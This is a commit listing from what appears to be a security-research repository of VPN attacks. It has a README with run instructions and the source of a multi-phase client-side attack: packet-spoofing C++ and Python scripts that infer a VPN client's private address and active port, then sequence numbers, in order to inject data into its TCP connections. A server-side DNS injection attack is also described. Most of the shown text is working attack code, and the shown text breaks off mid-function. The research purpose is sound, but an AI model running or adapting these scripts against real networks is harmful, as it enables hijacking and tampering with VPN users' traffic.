Beau Kujath
4 years ago
102 changed files with 32248 additions and 0 deletions
-
78README.md
-
37client-side-attack/complete_attack/attack.sh
-
2client-side-attack/first_phase/Makefile
-
10client-side-attack/first_phase/phase_one_attack.sh
-
204client-side-attack/first_phase/send.cpp
-
155client-side-attack/first_phase/slow_p1.py
-
12client-side-attack/rebuild_all.sh
-
2client-side-attack/sec_phase/Makefile
-
241client-side-attack/sec_phase/send.cpp
-
2client-side-attack/third_phase/Makefile
-
694client-side-attack/third_phase/send.cpp
-
BINdemos/fb-mitm-firefox.mp4
-
BINdemos/nsl-brack.mp4
-
BINdemos/wa-jack.mov
-
83old-readme
-
BINpcaps/client-side-caps/nping-examples/.setup.txt.swp
-
BINpcaps/client-side-caps/nping-examples/attacker/phase2_nping_attacker.pcap
-
BINpcaps/client-side-caps/nping-examples/attacker/phase3_nping_attacker.pcap
-
28pcaps/client-side-caps/nping-examples/setup.txt
-
BINpcaps/client-side-caps/nping-examples/victim/phase2_nping_vic.pcap
-
BINpcaps/client-side-caps/nping-examples/victim/phase3_nping_vic.pcap
-
19pcaps/client-side-caps/washu-demo/setup.txt
-
BINpcaps/client-side-caps/washu-demo/vic_any_capture_wash.pcap
-
BINpcaps/client-side-caps/washu-demo/wash_attacker.pcap
-
BINpcaps/server-side-caps/other-end-dns-inject.pcapng
-
BINresults/results.tar.gz
-
2server-side-attack/dns-sside/full_scan/Makefile
-
12server-side-attack/dns-sside/full_scan/inject_test.sh
-
619server-side-attack/dns-sside/full_scan/send.cpp
-
2server-side-attack/dns-sside/phases/udder_fillup/Makefile
-
23545server-side-attack/dns-sside/phases/udder_fillup/fill_log.txt
-
26server-side-attack/dns-sside/phases/udder_fillup/fillup.blah
-
165server-side-attack/dns-sside/phases/udder_fillup/send.cpp
-
BINserver-side-attack/dns-sside/phases/udder_fillup/uud_send
-
2server-side-attack/dns-sside/phases/udder_test/Makefile
-
119server-side-attack/dns-sside/phases/udder_test/send.cpp
-
BINserver-side-attack/dns-sside/phases/udder_test/uud_send
-
2server-side-attack/tcp-sside/Makefile
-
230server-side-attack/tcp-sside/send.cpp
-
72virtual-test-environment/README.md
-
70virtual-test-environment/boot_all.sh
-
36virtual-test-environment/destroy_all.sh
-
BINvirtual-test-environment/diagrams/virtlab-setup.jpg
-
1virtual-test-environment/edgers/client/.vagrant/machines/default/virtualbox/vagrant_cwd
-
20virtual-test-environment/edgers/client/Vagrantfile
-
20virtual-test-environment/edgers/client/copy_client_config.sh
-
14virtual-test-environment/edgers/client/setup_net.sh
-
650virtual-test-environment/edgers/client/ubuntu-xenial-16.04-cloudimg-console.log
-
28virtual-test-environment/edgers/setups/add_nat.sh
-
6virtual-test-environment/edgers/setups/add_tun_rule.sh
-
15virtual-test-environment/edgers/setups/attacker/connect.sh
-
17virtual-test-environment/edgers/setups/attacker/mitm_setup.sh
-
33virtual-test-environment/edgers/setups/attacker/setup_attacker.sh
-
29virtual-test-environment/edgers/setups/attacker/setup_nat.sh
-
8virtual-test-environment/edgers/setups/attacker/strip.sh
-
38virtual-test-environment/edgers/setups/dns/bind_config/bind.keys
-
12virtual-test-environment/edgers/setups/dns/bind_config/db.0
-
13virtual-test-environment/edgers/setups/dns/bind_config/db.127
-
12virtual-test-environment/edgers/setups/dns/bind_config/db.255
-
14virtual-test-environment/edgers/setups/dns/bind_config/db.empty
-
14virtual-test-environment/edgers/setups/dns/bind_config/db.local
-
11virtual-test-environment/edgers/setups/dns/bind_config/named.conf
-
30virtual-test-environment/edgers/setups/dns/bind_config/named.conf.default-zones
-
8virtual-test-environment/edgers/setups/dns/bind_config/named.conf.local
-
39virtual-test-environment/edgers/setups/dns/bind_config/named.conf.options
-
4virtual-test-environment/edgers/setups/dns/bind_config/rndc.key
-
20virtual-test-environment/edgers/setups/dns/bind_config/zones.rfc1918
-
19virtual-test-environment/edgers/setups/dns/install_docker.sh
-
13virtual-test-environment/edgers/setups/dns/start_dns.sh
-
59virtual-test-environment/edgers/setups/vpn_server/make_client_configs.sh
-
106virtual-test-environment/edgers/setups/vpn_server/setup_vpn.sh
-
1virtual-test-environment/edgers/vpn-server/.vagrant/machines/default/virtualbox/vagrant_cwd
-
20virtual-test-environment/edgers/vpn-server/Vagrantfile
-
13virtual-test-environment/edgers/vpn-server/copy_vpn_setup.sh
-
14virtual-test-environment/edgers/vpn-server/setup_net.sh
-
653virtual-test-environment/edgers/vpn-server/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/edgers/web-server/.vagrant/machines/default/virtualbox/vagrant_cwd
-
19virtual-test-environment/edgers/web-server/Vagrantfile
-
9virtual-test-environment/edgers/web-server/copy_dns_setup.sh
-
14virtual-test-environment/edgers/web-server/setup_net.sh
-
648virtual-test-environment/edgers/web-server/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/routers/gateway/.vagrant/machines/default/virtualbox/vagrant_cwd
-
21virtual-test-environment/routers/gateway/Vagrantfile
-
54virtual-test-environment/routers/gateway/setup_net.sh
-
654virtual-test-environment/routers/gateway/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/routers/router1/.vagrant/machines/default/virtualbox/vagrant_cwd
-
21virtual-test-environment/routers/router1/Vagrantfile
-
11virtual-test-environment/routers/router1/copy_attacker_setup.sh
-
14virtual-test-environment/routers/router1/disable_stuff.sh
-
62virtual-test-environment/routers/router1/setup_net.sh
-
666virtual-test-environment/routers/router1/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/routers/router2/.vagrant/machines/default/virtualbox/vagrant_cwd
-
21virtual-test-environment/routers/router2/Vagrantfile
-
62virtual-test-environment/routers/router2/setup_net.sh
-
672virtual-test-environment/routers/router2/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/routers/router3/.vagrant/machines/default/virtualbox/vagrant_cwd
-
21virtual-test-environment/routers/router3/Vagrantfile
-
62virtual-test-environment/routers/router3/setup_net.sh
-
663virtual-test-environment/routers/router3/ubuntu-xenial-16.04-cloudimg-console.log
-
87virtual-test-environment/start_all.sh
@ -1,2 +1,80 @@ |
|||
# vpn-attacks |
|||
|
|||
|
|||
##### Attack Machine Environment |
|||
|
|||
* C++ |
|||
* libtins (http://libtins.github.io/download/) |
|||
|
|||
|
|||
## Server-side attack |
|||
|
|||
|
|||
#### Requirements |
|||
|
|||
* VPN client connected to a VPN server |
|||
* Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two |
|||
|
|||
***Note:*** Full virtual test environment setup for the server-side attack is detailed in the README within the `virt-lab` folder |
|||
|
|||
|
|||
#### Running the DNS Attack Script |
|||
|
|||
1. Change to udp-dns attack folder - `cd other-end-attack/dnuss/full_scan` |
|||
2. Compile attack script - `make` |
|||
3. Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm): `sudo conntrack -L | grep udp` |
|||
3. Try to inject from attack router - `sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>` |
|||
|
|||
|
|||
|
|||
## Client-side attack |
|||
|
|||
|
|||
#### Requirements |
|||
|
|||
* VPN client connected to a VPN server |
|||
* Reverse path filtering disabled on the VPN client machine |
|||
* Attack router acting as the local network gateway for the victim (VPN client) machine |
|||
|
|||
|
|||
#### Running the Full Attack Script |
|||
|
|||
* Rebuild all the attack scripts: `./rebuild_all.sh` |
|||
* `cd full_attack` |
|||
* Change `attack.sh` vars to appropriate values |
|||
* `sh attack.sh <remote_ip>` |
|||
|
|||
***Note:*** `remote_ip` specifies the IP address of the HTTP site. |
|||
|
|||
|
|||
#### Testing Indivual attack phases |
|||
|
|||
|
|||
##### Phase 1 - Infer victim's private address |
|||
|
|||
* `cd first_phase` |
|||
* `python3 send.py <victim_public_ip> <private_ip_range>` |
|||
|
|||
***Note:*** `private_ip_range` specifies a `/24` network such as `10.7.7.0`. |
|||
|
|||
|
|||
##### Phase 2 - Infer the port being used to talk to some remote address |
|||
|
|||
* `cd sec_phase` |
|||
* Edit `send.cpp` to use the correct MAC addresses |
|||
* `g++ send.cpp -o send -ltins` |
|||
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>` |
|||
|
|||
***Note:*** `<remote_ip>` is the address we wanna check if the client is connected to and the `<remote_port>` is almost always 80 or 443. The `<victim_wlan_ip>` is the public address of the victim and `<victim_priv_ip>` was found in phase 1. If the scripts not sniffing any challenge acks, then edit the `send.cpp` file to uncomment the `cout` line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system. |
|||
|
|||
|
|||
##### Phase 3 - Infer exact sequence number and in-window ack |
|||
|
|||
* `cd third_phase` |
|||
* Edit `send.cpp` to use the correct MAC addresses |
|||
* `g++ send.cpp -o send -ltins` |
|||
* `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>` |
|||
|
|||
|
|||
***Note:*** `<victim_port>` was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified. |
|||
|
@ -0,0 +1,37 @@ |
|||
REMOTE_ADDR=$1 |
|||
REMOTE_PORT=80 |
|||
|
|||
VICTIM_WLAN_ADDR=192.168.12.58 # vpn client public ip |
|||
WLAN_GATEWAY=192.168.12.1 # address of local network gateway |
|||
VICTIM_PRIV_NET=10.7.2.0 # nord uses 10.7.2.x typically |
|||
PRIV_NETMASK=255.255.255.0 |
|||
|
|||
REQUEST_SIZE=529 |
|||
DEST_MAC=a4:34:d9:53:92:c4 |
|||
INTERFACE=wlp1s0 |
|||
|
|||
echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" |
|||
|
|||
echo `date` |
|||
echo "attempting to infer client's private VPN address.." |
|||
|
|||
cd ../first_phase |
|||
|
|||
|
|||
PRIV_IP="$(./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)" |
|||
echo "phase 1 client private IP: ${PRIV_IP}" |
|||
|
|||
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" |
|||
echo `date` |
|||
echo "determining if client is talking to ${REMOTE_ADDR} on any port.." |
|||
cd ../sec_phase |
|||
VPORT="$(./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC)" |
|||
echo "phase 2 port result: ${VPORT}" |
|||
|
|||
echo "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" |
|||
echo `date` |
|||
echo "beginning phase 3 to infer sequence and ack numbers needed to inject.." |
|||
cd ../third_phase |
|||
./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE |
|||
|
|||
echo `date` |
@ -0,0 +1,2 @@ |
|||
all: |
|||
g++ -O3 -o send_p1 send.cpp -lpthread -ltins -std=c++11 |
@ -0,0 +1,10 @@ |
|||
#/bin/bash |
|||
|
|||
./phase_one_attack 52:54:00:12:ae:4c\ |
|||
52:54:00:12:ae:3f\ |
|||
10.7.1.0\ |
|||
255.255.255.0\ |
|||
192.168.64.1\ |
|||
ens5\ |
|||
35220\ |
|||
443 |
@ -0,0 +1,204 @@ |
|||
/*
|
|||
* Modified from http://libtins.github.io/examples/syn-scanner/
|
|||
* |
|||
* INCLUDED COPYRIGHT |
|||
* Copyright (c) 2016, Matias Fontanini |
|||
* All rights reserved. |
|||
* |
|||
* Redistribution and use in source and binary forms, with or without |
|||
* modification, are permitted provided that the following conditions are |
|||
* met: |
|||
* |
|||
* * Redistributions of source code must retain the above copyright |
|||
* notice, this list of conditions and the following disclaimer. |
|||
* * Redistributions in binary form must reproduce the above |
|||
* copyright notice, this list of conditions and the following disclaimer |
|||
* in the documentation and/or other materials provided with the |
|||
* distribution. |
|||
* |
|||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS |
|||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT |
|||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR |
|||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT |
|||
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, |
|||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT |
|||
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
|||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY |
|||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT |
|||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE |
|||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. |
|||
* |
|||
*/ |
|||
|
|||
#include <iostream>
|
|||
#include <iomanip>
|
|||
#include <vector>
|
|||
#include <set>
|
|||
#include <string>
|
|||
#include <cstdlib>
|
|||
#include <pthread.h>
|
|||
#include <unistd.h>
|
|||
#include <tins/tins.h>
|
|||
#include <tins/ip.h>
|
|||
#include <tins/tcp.h>
|
|||
#include <tins/ip_address.h>
|
|||
#include <tins/ethernetII.h>
|
|||
#include <tins/network_interface.h>
|
|||
#include <tins/sniffer.h>
|
|||
#include <tins/utils.h>
|
|||
#include <tins/packet_sender.h>
|
|||
|
|||
using std::cout; |
|||
using std::endl; |
|||
using std::vector; |
|||
using std::pair; |
|||
using std::setw; |
|||
using std::string; |
|||
using std::set; |
|||
using std::runtime_error; |
|||
|
|||
using namespace Tins; |
|||
|
|||
typedef pair<Sniffer*, string> sniffer_data; |
|||
|
|||
std::string vip; |
|||
std::string gwip; |
|||
|
|||
bool verbose = false; |
|||
|
|||
|
|||
class Scanner { |
|||
public: |
|||
Scanner(NetworkInterface& interface, |
|||
std::string dest_mac, |
|||
std::string source_mac, |
|||
std::string gateway_ip, |
|||
std::string private_ip, |
|||
std::string private_ip_subnet_mask, |
|||
int sport, |
|||
int dport); |
|||
|
|||
void run(); |
|||
private: |
|||
void send_synacks(); |
|||
bool callback(PDU& pdu); |
|||
static void* thread_proc(void* param); |
|||
void launch_sniffer(); |
|||
NetworkInterface iface; |
|||
std::string dst_mac; |
|||
std::string src_mac; |
|||
std::string src_ip; |
|||
std::string victim_ip; |
|||
std::string victim_subnet; |
|||
int sport; |
|||
int dport; |
|||
Sniffer sniffer; |
|||
}; |
|||
|
|||
Scanner::Scanner(NetworkInterface& interface, |
|||
std::string dest_mac, |
|||
std::string source_mac, |
|||
std::string gateway_ip, |
|||
std::string private_ip, |
|||
std::string private_ip_subnet_mask, |
|||
int src_port, |
|||
int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) { |
|||
|
|||
} |
|||
|
|||
void* Scanner::thread_proc(void* param) { |
|||
Scanner* data = (Scanner*)param; |
|||
data->launch_sniffer(); |
|||
return 0; |
|||
} |
|||
|
|||
void Scanner::launch_sniffer() { |
|||
sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback)); |
|||
} |
|||
|
|||
/* Our scan handler. This will receive SYN-ACKS and inform us
|
|||
* the scanned port's status. |
|||
*/ |
|||
bool Scanner::callback(PDU& pdu) { |
|||
// Find the layers we want.
|
|||
const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
|||
const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
|
|||
static int total_seen = 0; |
|||
if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) { |
|||
if (verbose) std::cout << "Victim IP is:"; |
|||
std::cout << ip.src_addr() << "\n"; |
|||
vip = ip.src_addr(); |
|||
total_seen += 1; |
|||
if (total_seen > 0) { |
|||
return false; |
|||
|
|||
} |
|||
} |
|||
return true; |
|||
} |
|||
|
|||
void Scanner::run() { |
|||
pthread_t thread; |
|||
// Launch our sniff thread.
|
|||
pthread_create(&thread, 0, &Scanner::thread_proc, this); |
|||
// Start sending SYNs to port.
|
|||
send_synacks(); |
|||
|
|||
// Wait for our sniffer.
|
|||
void* dummy; |
|||
pthread_join(thread, &dummy); |
|||
} |
|||
|
|||
// Send syn acks to the given ip address, using the destination ports provided.
|
|||
void Scanner::send_synacks() { |
|||
// Retrieve the addresses.
|
|||
PacketSender sender; |
|||
IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet); |
|||
|
|||
|
|||
for (const IPv4Address &addr : ip_range) { |
|||
EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
tcp.set_flag(TCP::ACK, 1); |
|||
tcp.set_flag(TCP::SYN, 1); |
|||
if (verbose) std::cout << "Sending to IP:" << addr << std::endl; |
|||
sender.send(pkt, iface); |
|||
sender.send(pkt, iface); |
|||
usleep(10); |
|||
} |
|||
|
|||
} |
|||
|
|||
void scan(int argc, char* argv[]) { |
|||
std::string dst_mac = argv[1]; // victim MAC address
|
|||
std::string src_mac = ""; // src mac does not matter
|
|||
std::string private_ip_subnet = argv[2]; |
|||
std::string private_ip_subnet_mask = argv[3]; |
|||
gwip = argv[4]; // IP of server that client is talking to
|
|||
|
|||
int sport = 80; // source, dest port for phase-1 are arbitrary
|
|||
int dport = 80; |
|||
|
|||
|
|||
IPv4Address ip(gwip); |
|||
// Resolve the interface which will be our gateway
|
|||
NetworkInterface iface(ip); |
|||
if (verbose) cout << "Sniffing on interface: " << iface.name() << endl; |
|||
// Consume arguments
|
|||
Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet, |
|||
private_ip_subnet_mask, sport, dport); |
|||
scanner.run(); |
|||
} |
|||
|
|||
int main(int argc, char* argv[]) { |
|||
if (argc != 6) { |
|||
std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n"; |
|||
exit(-1); |
|||
} |
|||
try { |
|||
scan(argc, argv); |
|||
} |
|||
catch(runtime_error& ex) { |
|||
cout << "Error - " << ex.what() << endl; |
|||
} |
|||
} |
@ -0,0 +1,155 @@ |
|||
#!/usr/bin/env python3 |
|||
from scapy.all import * |
|||
import ipaddress |
|||
from threading import Thread, Event |
|||
from time import sleep |
|||
import os |
|||
|
|||
# |
|||
# |
|||
# |
|||
# |
|||
# Thread classes for sniffing |
|||
# |
|||
# Sniffer Class all grabbed from https://www.cybrary.it/0p3n/sniffing-inside-thread-scapy-python/ |
|||
|
|||
class Sniffer(Thread): |
|||
def __init__(self, iface="en0"): |
|||
|
|||
super().__init__() |
|||
|
|||
self.daemon = True |
|||
self.vpn_addr = None |
|||
|
|||
self.current_phase = 1 |
|||
self.spoof_count = 0 |
|||
self.spoof_port = 0 |
|||
|
|||
self.socket = None |
|||
self.iface = iface |
|||
self.stop_sniffer = Event() |
|||
|
|||
def run(self): |
|||
self.socket = conf.L2listen( |
|||
type=ETH_P_ALL, |
|||
iface=self.iface, |
|||
filter="ip" |
|||
) |
|||
|
|||
sniff( |
|||
opened_socket=self.socket, |
|||
prn=self.handle_packet, |
|||
|
|||
) |
|||
|
|||
def join(self, timeout=None): |
|||
self.stop_sniffer.set() |
|||
super().join(timeout) |
|||
|
|||
def get_vpn_addr(self): |
|||
return self.vpn_addr |
|||
|
|||
def set_phase(self, phase): |
|||
self.current_phase = phase |
|||
|
|||
|
|||
|
|||
def check_for_req(self, packet): |
|||
|
|||
ip_layer = packet.getlayer(IP) |
|||
|
|||
# for phase 1 (on ubuntu 19) we wanna look for a reset |
|||
# with source of private vpn address and dest of gateway |
|||
|
|||
if self.current_phase == 1: |
|||
|
|||
if "10." in ip_layer.src: |
|||
|
|||
if ip_layer.src == self.vpn_addr: |
|||
print("multiple matches for: " + str(self.vpn_addr)) |
|||
# could make the scan stop after this point but |
|||
# only takes a second or two to finish up |
|||
|
|||
print("Victim private ip is: " + str(ip_layer.src)) |
|||
self.vpn_addr = ip_layer.src |
|||
|
|||
|
|||
|
|||
|
|||
def handle_packet(self, packet): |
|||
|
|||
#ip_layer = packet.getlayer(IP) |
|||
#print("[!] New Packet: {src} -> {dst}".format(src=ip_layer.src, dst=ip_layer.dst)) |
|||
|
|||
# if its not an SSH packet then check for challenge acks |
|||
# |
|||
if TCP in packet: |
|||
tcp_sport = packet[TCP].sport |
|||
tcp_dport = packet[TCP].dport |
|||
|
|||
if (tcp_sport != 2222 and tcp_dport != 2222) or (tcp_sport != 22 and tcp_dport != 22): |
|||
|
|||
self.check_for_req(packet) |
|||
############ |
|||
|
|||
def phase_one_spread(gateway_ip, dst_net, iface="en0", edst="08:00:27:5c:c9:d1", |
|||
sport=50505, dport=443, flags="SA"): |
|||
|
|||
pieces = gateway_ip.split('.') |
|||
src = pieces[0] + '.' + pieces[1] + '.' + pieces[2] + '.1'# should be gateway of LAN |
|||
src = gateway_ip |
|||
eth = Ether(dst=edst) |
|||
tcps = TCP(sport=sport,dport=dport,flags=flags) # src and dst ports don't matter |
|||
|
|||
for ip in ipaddress.IPv4Network(dst_net + '/24'): |
|||
print('{} to: {}'.format(flags, str(ip))) |
|||
ip_pack = IP(src = src, dst = str(ip)) |
|||
sendp(eth/ip_pack/tcps, iface=iface, count=2, verbose=0) |
|||
|
|||
|
|||
print("\nFinished spreading to private address space.") |
|||
|
|||
|
|||
def main(): |
|||
if len(sys.argv) < 5: |
|||
print("Usage:\n{} {} {} {} {} [{}] [{}]".format( |
|||
sys.argv[0], "<GATEWAY_IP>", "<VPN SUBNET>", "<IFACE>", "<VICTIM_MAC>", |
|||
"<SPORT>", "<>")) |
|||
exit(-1) |
|||
gateway_ip = sys.argv[1] |
|||
vpn_net = sys.argv[2] |
|||
iface = sys.argv[3] |
|||
edst = sys.argv[4] |
|||
if len(sys.argv) == 6: |
|||
sport = int(sys.argv[5]) |
|||
else: |
|||
sport = 50505 |
|||
if len(sys.argv) == 7: |
|||
dport = int(sys.argv[6]) |
|||
else: |
|||
dport = 443 |
|||
if len(sys.argv) == 8: |
|||
flags = sys.argv[7] |
|||
else: |
|||
flags = "SA" |
|||
|
|||
|
|||
sniffer = Sniffer(iface=iface) |
|||
sniffer.start() |
|||
|
|||
## Phase 1 - spread private address range passed in |
|||
# |
|||
sleep(.5) |
|||
|
|||
print("Scanning entire dest net " + str(vpn_net)) |
|||
phase_one_spread(gateway_ip, str(vpn_net), |
|||
iface=iface, edst=edst, |
|||
sport=sport, dport=dport, flags=flags) |
|||
|
|||
vpn_addr = sniffer.get_vpn_addr() |
|||
print('Completed phase one and found client has private VPN address: ' + str(vpn_addr) + '\n\n') |
|||
|
|||
|
|||
|
|||
if __name__ == '__main__': |
|||
main() |
@ -0,0 +1,12 @@ |
|||
echo "Remaking each attack phase script..." |
|||
|
|||
cd ./first_phase |
|||
make |
|||
|
|||
cd ../sec_phase |
|||
make |
|||
|
|||
cd ../third_phase |
|||
make |
|||
|
|||
echo "Finished building attack scripts." |
@ -0,0 +1,2 @@ |
|||
all: |
|||
g++ -O3 -o send_p2 send.cpp -lpthread -ltins -std=c++11 |
@ -0,0 +1,241 @@ |
|||
#include <tins/tins.h>
|
|||
#include <cassert>
|
|||
#include <iostream>
|
|||
#include <string>
|
|||
#include <unistd.h>
|
|||
#include <thread>
|
|||
|
|||
|
|||
using std::thread; |
|||
using std::cout; |
|||
using std::string; |
|||
using namespace Tins; |
|||
|
|||
|
|||
int current_spoof_port, best_port, chack_count; |
|||
bool sniffed_chack = false; |
|||
bool is_running = true; |
|||
bool verbose = false; |
|||
bool count_chacks = false; |
|||
bool quick_mode = true; // if true we don't recheck the port
|
|||
|
|||
int num_sent = 0; |
|||
string victim_wlan_addr; |
|||
string remote_addr; |
|||
|
|||
|
|||
|
|||
void print_divider(int count) { |
|||
int i = 0; |
|||
while (i < count) { |
|||
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; |
|||
i++; |
|||
} |
|||
} |
|||
|
|||
bool handle_packet(PDU &some_pdu) { |
|||
|
|||
const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
|||
// keep track of the last port we spoofed
|
|||
if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport(); |
|||
|
|||
if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client
|
|||
|
|||
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size(); |
|||
//cout << "sniffed something: " <<payload << "\n";
|
|||
const int remainder = payload % 67; // 67 is the size of encrypted resets on ubuntu
|
|||
|
|||
if (remainder != 0) { |
|||
|
|||
//cout << "\nsniffed something important - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
|
|||
|
|||
// If it's not working as expected, uncomment the line above to
|
|||
// check what the typical remainder is looking like as it scans the
|
|||
// port range. In this case, ubuntu 19, if you uncomment the line above
|
|||
// it would repeatedly sniff 41 packets until the correct port, then it
|
|||
// would sniff a 48 packet
|
|||
|
|||
if (remainder != 41 && (remainder == 40 || remainder == 48)) { // the size of the remainder could change per OS
|
|||
if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n"; |
|||
|
|||
if (count_chacks) chack_count ++; |
|||
if (verbose) cout << "some other val: " << ((payload - 79) % 67) << "\n"; |
|||
if (!sniffed_chack) { |
|||
sniffed_chack = true; |
|||
best_port = current_spoof_port; |
|||
} |
|||
} |
|||
} |
|||
} |
|||
return is_running; |
|||
} |
|||
|
|||
void sniff_stuff() { |
|||
SnifferConfiguration config; |
|||
config.set_promisc_mode(true); |
|||
Sniffer sniffer("wlp1s0", config); |
|||
sniffer.sniff_loop(handle_packet); |
|||
} |
|||
|
|||
|
|||
|
|||
bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) { |
|||
|
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface("wlp1s0"); |
|||
count_chacks = true; |
|||
chack_count = 0; |
|||
|
|||
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(possible_port, sport); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
tcp.set_flag(TCP::SYN, 1); |
|||
|
|||
int count = 0; |
|||
usleep(1000000 / 2); |
|||
|
|||
while (count < num_checks) { |
|||
sender.send(pkt, iface); |
|||
usleep(1000000 / 2); // must sleep half second due to chack rate limit
|
|||
count ++; |
|||
} |
|||
|
|||
usleep(1000000); |
|||
|
|||
// should have just sniffed as many chacks as we just sent
|
|||
if (verbose) cout << "end of rechack, count : " << chack_count << ", should be: " << num_checks << " \n"; |
|||
|
|||
if (chack_count >= num_checks) { |
|||
return true; |
|||
} |
|||
|
|||
count_chacks = false; |
|||
num_sent += count; |
|||
|
|||
return false; |
|||
|
|||
} |
|||
|
|||
|
|||
|
|||
// Spreads SYNs across the victim's entire port range
|
|||
// coming from a specific remote_ip:port
|
|||
//
|
|||
int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface("wlp1s0"); |
|||
|
|||
int start_port = 39000;//32768; // typical Linux ephemeral port range - (32768, 61000)
|
|||
int end_port = 42000;//61000;
|
|||
int i; |
|||
|
|||
EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
tcp.set_flag(TCP::SYN, 1); |
|||
|
|||
int current_port = best_port; |
|||
|
|||
for (i = start_port; i < end_port; i ++) { |
|||
|
|||
tcp.dport(i); // set the packets dest port to current guess
|
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
usleep(10); |
|||
|
|||
} |
|||
|
|||
usleep(1000000); // sleep to give victim time to respond w chack
|
|||
|
|||
current_port = best_port; |
|||
if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n"; |
|||
|
|||
// In round 1 we spoofed fast (10 sleep) to get a good estimate of the
|
|||
// port in use. Round 2, we spoof slower from about 50 packets back to account
|
|||
// for the delay in response and hopefully get the exact port number in use
|
|||
|
|||
print_divider(1); |
|||
usleep(1000000 / 2); |
|||
sniffed_chack = false; |
|||
|
|||
int j; |
|||
int send_delay = 300; |
|||
|
|||
if (verbose) cout << "Starting round 2 spread from: " << (current_port - send_delay) << " to " << current_port << "\n"; |
|||
for (j = (current_port - send_delay); j < current_port; j++) { |
|||
tcp.dport(j); // set the packets dest port to current guess
|
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
usleep(600 * 5); |
|||
} |
|||
|
|||
usleep(1000000); |
|||
|
|||
if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n"; |
|||
|
|||
return best_port; |
|||
|
|||
} |
|||
|
|||
|
|||
|
|||
int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) { |
|||
|
|||
bool is_found = false; |
|||
int current_port = 0; |
|||
|
|||
while (!is_found) { |
